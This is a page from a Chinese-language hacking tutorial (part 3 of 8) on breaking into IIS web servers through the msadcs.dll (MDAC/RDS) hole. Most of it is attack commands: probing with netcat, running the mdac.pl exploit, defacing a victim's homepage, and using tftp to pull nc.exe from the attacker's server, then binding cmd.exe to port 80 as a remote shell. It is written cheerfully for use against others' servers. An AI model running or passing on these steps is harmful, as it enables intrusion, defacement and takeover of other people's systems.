有关IIS HACK的一些方法整理3

操作：
　　
　　c:\>nc -nw -w 2 80
　　GET /msadc/msadcs.dll HTTP
　　
　　如果你得到下面的信息：
　　
　　application/x_varg
　　
　　就很有可能没有打上补丁并存在此漏洞，你可以使用rain forest puppy站上的两个程序进行测试(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl 。
　　
　　c:\> mdac.pl -h
　　Please type the NT commandline you want to run (cmd /c assumed):\n
　　cmd /c
　　
　　OK，如果你要替换对方的主页，你就可以使用下面的方法：
　　
　　cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm
　　
　　或者其他命令，当然最好的方法我觉得还是使用上载我们的netcat，并把CMD.EXE绑定到端口80上，我们可以设置我们自己的TFTP服务程序并把nc.exe放上去，然后在执行命令，如：
　　
　　cmd/c cd %systemroot%&&tftp -i GET nc.exe&&del ftptmp
　　&& attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe
　　
　　然后你就连接到80口，得到一个SHELL口让你浏览。呵呵！
　　
　　
　　====

页码：[1] [2] [3] [4] [5] [6] [7] [8] 第3页、共8页

设为首页 | 加入收藏 | 广告服务 | 友情链接 | 版权申明